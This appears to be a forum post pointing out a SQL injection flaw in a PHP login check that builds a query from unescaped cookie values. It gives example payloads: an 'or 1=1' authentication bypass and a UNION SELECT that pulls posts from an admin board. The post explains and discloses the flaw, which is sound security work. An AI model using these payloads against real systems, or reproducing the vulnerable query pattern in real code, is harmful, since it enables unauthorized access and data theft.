Spoiler:
- Code: Select all
if (isset($_COOKIE['grestul']))
{
include 'inc/config.php';
$username = $_COOKIE['grestul']['username'];
$passcode = $_COOKIE['grestul']['passcode'];
$query = "SELECT user, pass FROM grestullogin WHERE user = '$username' AND pass = '$passcode'";
$result = mysql_query($query, $db);
}
One could easily modify the cookie to SQL inject the query.
Example:
User sets cookie grestul['username'] to admin' or '1'='1 and gestrul['passcode'] to password or '1'='1
The server executes: SELECT user, pass FROM grestullogin WHERE user = 'admin or '1'='1' AND pass = 'password or '1'='1'
The server selects all usernames and passwords from the database.
Another example:
View admin posts:
User sets cookie grestul['username'] to <own username>' UNION SELECT id, post FROM phpbb3_posts WHERE board='<admin board id>
The server executes: SELECT user, pass FROM grestullogin WHERE user = '<own username>' UNION SELECT id, post FROM phpbb3_posts WHERE board='<admin board id>' AND pass='<own_password>'
The server selects all posts from an admin forum.
